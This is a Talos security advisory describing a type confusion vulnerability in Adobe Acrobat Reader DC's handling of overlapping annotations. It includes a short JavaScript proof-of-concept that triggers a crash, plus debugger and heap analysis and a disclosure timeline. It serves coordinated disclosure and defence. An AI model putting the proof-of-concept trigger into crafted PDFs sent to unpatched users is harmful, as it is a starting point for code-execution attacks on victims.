Talos Vulnerability Report


Adobe Acrobat Reader DC overlapping annotations type confusion vulnerability

July 13, 2022
CVE Number



A type confusion vulnerability exists in the way Adobe Acrobat Reader DC 2022.001.20085 deals with overlapping annotations. A specially-crafted PDF document can trigger this vulnerability, which can lead to arbitrary code execution. A victim needs to open the malicious file to trigger this vulnerability.

Tested Versions

Adobe Acrobat Reader 2022.001.20085

Product URLs

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H


CWE-843 - Access of Resource Using Incompatible Type (‘Type Confusion’)


Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially-crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and provides additional attack surface. Javascript allows manipulation of form fields, annotations and other page content in a PDF document.

During annotation manipulation, garbage collection in Acrobat’s JavaScript engine can be triggered. There exists a special set of circumstances in which an object allocated elsewhere gets dereferenced in part of the garbage collection code of Spidermonkey. The following excerpt from the attached PoC can illustrate the issue:

var tmp = this.addAnnot({page: 1, type: "Highlight", point: [19,17,13,18]});
this.addAnnot({page: 1, type: "Redact", point: [2,1,20,3],overlayText: "aaaa"});  
this["annotFilter"] = this.getAnnots()[1];  
this["annotFilter"] = this.getAnnots()[0];  
this.addAnnot({page:1, type: "Redact", point: [22,12,202,32],overlayText : this}); 

In the above code, two annotations are created and placed on page 1. Both are then assigned to the “annotFilter” undocumented property of the Document object. Finally, another annotation is added to page 1 with coordinates overlapping the first one, but with the same type.

Executing this code results in the following crash:

(2958.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d55e0fb8 ebx=e46c0ff0 ecx=b4912fb8 edx=00001000 esi=00000000 edi=00000000
eip=63fe1d11 esp=006fcda8 ebp=006fcdc8 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210286
63fe1d11 39b874090000    cmp     dword ptr [eax+974h],edi ds:002b:d55e192c=????????
0:000> ?edi
Evaluate expression: 0 = 00000000
0:000> !heap -p -a eax
ReadMemory error for address 00000000
Use `!address 00000000' to check validity of the address.

0:000> dd eax 
d55e0fb8  b4912fb8 5a09efb8 c98eefb8 c0c00101
d55e0fc8  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
d55e0fd8  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
d55e0fe8  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
d55e0ff8  c0c0c0c0 c0c0c0c0 ???????? ????????
d55e1008  ???????? ???????? ???????? ????????
d55e1018  ???????? ???????? ???????? ????????
d55e1028  ???????? ???????? ???????? ????????

Crash occurs on a cmp instruction, which is fairly benign. Taking a closer look at dereferenced memory, we can observe that eax points to a buffer of size 0x48 at end of the page (PageHeap was enabled for this process), while the object being dereferenced is expected to have valid data at offset 0x974. This signifies a potential type confusion, where the JavaScript engine was expecting a type/structure that is at least 0x974 bytes in size. Looking up previous visits to the same code reveals the following about the data:

Breakpoint 1 hit
eax=410c6fd0 ebx=ac7e2fb8 ecx=41116f58 edx=00001000 esi=00000000 edi=00000000
eip=63fe1d11 esp=006fdfac ebp=006fdfcc iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
63fe1d11 39b874090000    cmp     dword ptr [eax+974h],edi ds:002b:410c7944=00000000
0:000> bl
     1 e Disable Clear  63fe1d11     0001 (1000)  0:**** EScript!mozilla::HashBytes+0x2ff41
0:000> dd eax
410c6fd0  c0c0c000 006c0001 410c6fd0 00000000
410c6fe0  00000000 00000000 006fea88 00000000
410c6ff0  00000000 00000000 3b366e38 00000000
410c7000  41b1cff0 00000003 00000004 c0c0c0c0
410c7010  35caed50 c0c0c0c0 00000003 00000000
410c7020  00000000 00000000 4159a000 4159a000
410c7030  4159a000 00000000 00001000 00001000
410c7040  00034000 00000000 00000000 00000000
0:000> !heap -p -a eax
    address 410c6fd0 found in
    _DPH_HEAP_ROOT @ 7c1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                40fb2784:         410c6fd0             9030 -         410c6000             b000
    6927abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    771f245b ntdll!RtlDebugAllocateHeap+0x00000039
    77156dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77155ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77155d3e ntdll!RtlAllocateHeap+0x0000003e
    76411406 ucrtbase!_malloc_base+0x00000026
    63fa940d EScript!PlugInMain+0x0000782d
    63fa932d EScript!PlugInMain+0x0000774d
    63fa90d4 EScript!PlugInMain+0x000074f4
    63fa3ae6 EScript!PlugInMain+0x00001f06
    64001b2d EScript!mozilla::HashBytes+0x0004fd5d
    64076e72 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006ea92
    67909a07 AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x0015a347
    677dbec0 AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x0002c800
    677d7313 AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x00027c53
    67517af7 AcroRd32_66ee0000!ixVectorNextHit+0x0016b757
    6751806a AcroRd32_66ee0000!ixVectorNextHit+0x0016bcca
    677dbb3c AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x0002c47c
    670c6b68 AcroRd32_66ee0000!DllCanUnloadNow+0x0013e728
    670c6af3 AcroRd32_66ee0000!DllCanUnloadNow+0x0013e6b3
    670af297 AcroRd32_66ee0000!DllCanUnloadNow+0x00126e57
    66fe96ce AcroRd32_66ee0000!DllCanUnloadNow+0x0006128e
    66fe8af8 AcroRd32_66ee0000!DllCanUnloadNow+0x000606b8
    66fd58f0 AcroRd32_66ee0000!DllCanUnloadNow+0x0004d4b0
    66fd4d37 AcroRd32_66ee0000!DllCanUnloadNow+0x0004c8f7
    66fd47e0 AcroRd32_66ee0000!DllCanUnloadNow+0x0004c3a0
    66fcfff3 AcroRd32_66ee0000!DllCanUnloadNow+0x00047bb3
    66fcdd11 AcroRd32_66ee0000!DllCanUnloadNow+0x000458d1
    66fcd3d6 AcroRd32_66ee0000!DllCanUnloadNow+0x00044f96
    66f4217f AcroRd32_66ee0000!AcroWinMainSandbox+0x00006a7f
    66f3bdc1 AcroRd32_66ee0000!AcroWinMainSandbox+0x000006c1
    66f3b88f AcroRd32_66ee0000!AcroWinMainSandbox+0x0000018f

Breaking on the same code, prior to triggering the crash, we can see that during a normal call to this function the memory chunk pointed to by eax is 0xb000 in size, or 44kb. In this and all other cases, dereferencing offset 0x974 is well within the allocated memory. Additionally, from PageHeap output, we can conclude that this chunk of memory was allocated by the JavaScript engine, while the underlying object at the time of the crash comes from the Annotations.api extension.

This constitutes type confusion vulnerability, which in this particular case manifests as out of bounds read. With a specifically-crafted memory layout, further memory corruption can be triggered, which could ultimately be abused to cause arbitrary code execution.


2022-04-27 - Vendor Disclosure
2022-07-13 - Public Release


Discovered by Aleksandar Nikolic of Cisco Talos.